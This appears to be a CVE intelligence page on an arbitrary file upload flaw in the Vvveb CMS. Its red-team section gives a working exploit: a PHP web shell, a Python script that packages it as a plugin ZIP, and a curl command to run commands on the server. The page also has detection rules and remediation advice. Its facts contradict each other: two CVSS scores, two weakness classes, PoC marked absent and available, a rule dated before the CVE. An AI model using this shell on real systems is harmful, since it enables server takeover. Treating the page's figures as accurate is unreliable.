☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Vvveb logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.6 🐛 CWE-61
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-41937

CVE-2026-41937 Arbitrary File Upload in Vvveb
📅 PUBLISHED: 2026-05-14 15:16 UTC 🔄 UPDATED: 2026-10-11 17:46 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v1.0.8.3 — source: VulnCheck. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.63%
👁️
0.63% probability
15.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Romania License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-41937 is a critical unrestricted file upload vulnerability in Vvveb CMS versions prior to 1.0.8.3. The flaw resides in the plugin upload endpoint, allowing a super_admin user to upload a malicious ZIP file containing arbitrary PHP code. Once uploaded, the code is extracted to the web root and can be executed by unauthenticated attackers via direct HTTP requests to the plugin's public path. This leads to remote code execution (RCE) as the web server user, enabling full server compromise, data exfiltration, and lateral movement.

The vulnerability is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type) and has a CVSS score of 7.2 (High). Although the EPSS score is currently 0.0%, the public availability of proof-of-concept code and the lack of an official patch in older versions make this a high-priority threat for any organization running Vvvebe.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but is a direct CMS plugin upload issue. However, the attack vector involves uploading a malicious plugin, which is a form of supply chain risk if plugins are sourced from untrusted third parties.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 7.2 (High)
  • Attack Vector: Network (AV:N) – The exploit is triggered over the network.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: High (PR:H) – The attacker must have super_admin credentials.
  • User Interaction: None (UI:N) – No user action is needed after upload.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – Full read access to the server.
  • Integrity Impact: High (I:H) – Arbitrary code execution allows modification of files.
  • Availability Impact: High (A:H) – Attackers can disrupt services.

Threat Level: High. While the initial access requires super_admin privileges, the subsequent RCE is unauthenticated and can be chained with other attacks (e.g., privilege escalation, lateral movement).

Deep Dive & Mechanics

The vulnerability exists in the plugin upload functionality of Vvveb CMS. The endpoint /index.php?module=plugins/plugin&action=upload accepts a ZIP file and extracts it to the plugins/ directory without proper validation of the file contents.

Attack Flow:

  1. Authentication: The attacker must be logged in as a super_admin user.
  2. Crafting the Payload: The attacker creates a ZIP file containing:
    • plugin.php – Must include a valid Slug header (e.g., <?php /* Slug: malicious-plugin */ ?>).
    • public/index.php – Contains arbitrary PHP code (e.g., <?php system($_GET['cmd']); ?>).
  3. Upload: The ZIP is uploaded via the plugin upload form.
  4. Extraction: Vvveb extracts the ZIP to plugins/malicious-plugin/.
  5. Execution: The attacker accesses http://target/vvveb/plugins/malicious-plugin/public/index.php?cmd=id to execute commands.

The root cause is the lack of file type validation and the absence of checks to prevent extraction of executable files (.php) into the web-accessible directory.

Vulnerable vs. Patched Code

Vulnerable Code (Vvveb < 1.0.8.3): The upload handler in app/controllers/admin/plugins.php likely uses ZipArchive to extract files without verifying the file extensions or contents.

// Vulnerable snippet (conceptual)
$zip = new ZipArchive();
if ($zip->open($_FILES['plugin']['tmp_name']) === TRUE) {
    $zip->extractTo('plugins/' . $slug);
    $zip->close();
}

Patched Code (Vvveb >= 1.0.8.3): The patch adds validation to reject ZIP files containing PHP files or other executable content.

// Patched snippet (conceptual)
$zip = new ZipArchive();
if ($zip->open($_FILES['plugin']['tmp_name']) === TRUE) {
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        if (preg_match('/\.(php|phtml|php3|php4|php5|inc)$/i', $filename)) {
            die('Error: Plugin contains PHP files.');
        }
    }
    $zip->extractTo('plugins/' . $slug);
    $zip->close();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A Vvveb instance (version < 1.0.8.3) with super_admin credentials.
  • Python 3 or PHP CLI installed.

Step 1: Create the Malicious Plugin ZIP

Create a file named malicious-plugin.zip with the following structure:

malicious-plugin/
├── plugin.php
└── public/
    └── index.php

plugin.php:

<?php
/* Slug: malicious-plugin */
?>

public/index.php:

<?php
system($_GET['cmd']);
?>

Use Python to create the ZIP:

import zipfile
import os

os.makedirs('malicious-plugin/public', exist_ok=True)
with open('malicious-plugin/plugin.php', 'w') as f:
    f.write('<?php\n/* Slug: malicious-plugin */\n?>')
with open('malicious-plugin/public/index.php', 'w') as f:
    f.write('<?php\nsystem($_GET["cmd"]);\n?>')

with zipfile.ZipFile('malicious-plugin.zip', 'w') as zf:
    for root, dirs, files in os.walk('malicious-plugin'):
        for file in files:
            zf.write(os.path.join(root, file), os.path.relpath(os.path.join(root, file), 'malicious-plugin'))

Step 2: Upload the Plugin

  • Log in as super_admin.
  • Navigate to Plugins → Upload.
  • Select malicious-plugin.zip and submit.

Step 3: Execute Commands

curl "http://target/vvveb/plugins/malicious-plugin/public/index.php?cmd=id"

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Hardening)

Detection:

  • Monitor for ZIP file uploads to the plugin endpoint.
  • Alert on creation of new directories under plugins/ containing PHP files.
  • Use WAF rules to block requests to plugins/*/public/index.php with query parameters.

Hardening:

  • Upgrade to Vvveb >= 1.0.8.3.
  • Restrict super_admin accounts to trusted users only.
  • Disable plugin upload functionality if not needed.
  • Use a web application firewall (WAF) to block direct access to plugin directories.

Indicators of Compromise (IOCs)

File-Based IOCs:

  • plugins/malicious-plugin/plugin.php (with arbitrary Slug)
  • plugins/malicious-plugin/public/index.php (with PHP code)
  • Any unexpected .php files in the plugins/ directory.

Network IOCs:

  • HTTP POST requests to /index.php?module=plugins/plugin&action=upload with multipart/form-data containing a ZIP file.
  • HTTP GET requests to /plugins/*/public/index.php?cmd= or similar query parameters.

Log IOCs:

  • Access logs showing requests to /plugins/*/public/index.php with cmd parameter.
  • Error logs indicating PHP execution from plugin directories.

Detection Engineering

YARA Rule

rule CVE_2026_41937_Vvveb_Plugin_Upload {
    meta:
        description = "Detects malicious plugin ZIP files for CVE-2026-41937"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-41937"
    strings:
        $php_header = "<?php"
        $slug_header = "Slug:"
        $public_index = "public/index.php"
    condition:
        $php_header and $slug_header and $public_index
}

Sigma Rule

title: Vvveb Plugin Upload Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2026-41937 via plugin upload
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'module=plugins/plugin&action=upload'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate plugin uploads by authorized admins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-41937 Vvveb Plugin Upload Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"module=plugins/plugin&action=upload"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/\.zip$/U"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update Vvveb to version 1.0.8.3 or later.
  2. Restrict Access: Limit super_admin accounts to essential personnel only.
  3. Disable Plugin Upload: If upgrade is not possible, disable the plugin upload functionality by removing or restricting access to the upload endpoint.

Long-Term Measures:

  • Implement file upload validation for all ZIP files (check for dangerous extensions).
  • Use a web application firewall (WAF) to block direct access to plugin directories.
  • Conduct regular security audits of CMS installations.
  • Monitor logs for unusual plugin-related activity.

Workaround:

  • If upgrading is not feasible, add the following .htaccess rule to block direct access to plugin PHP files:
RewriteRule ^plugins/.*\.php$ - [F,L]

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-41937/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.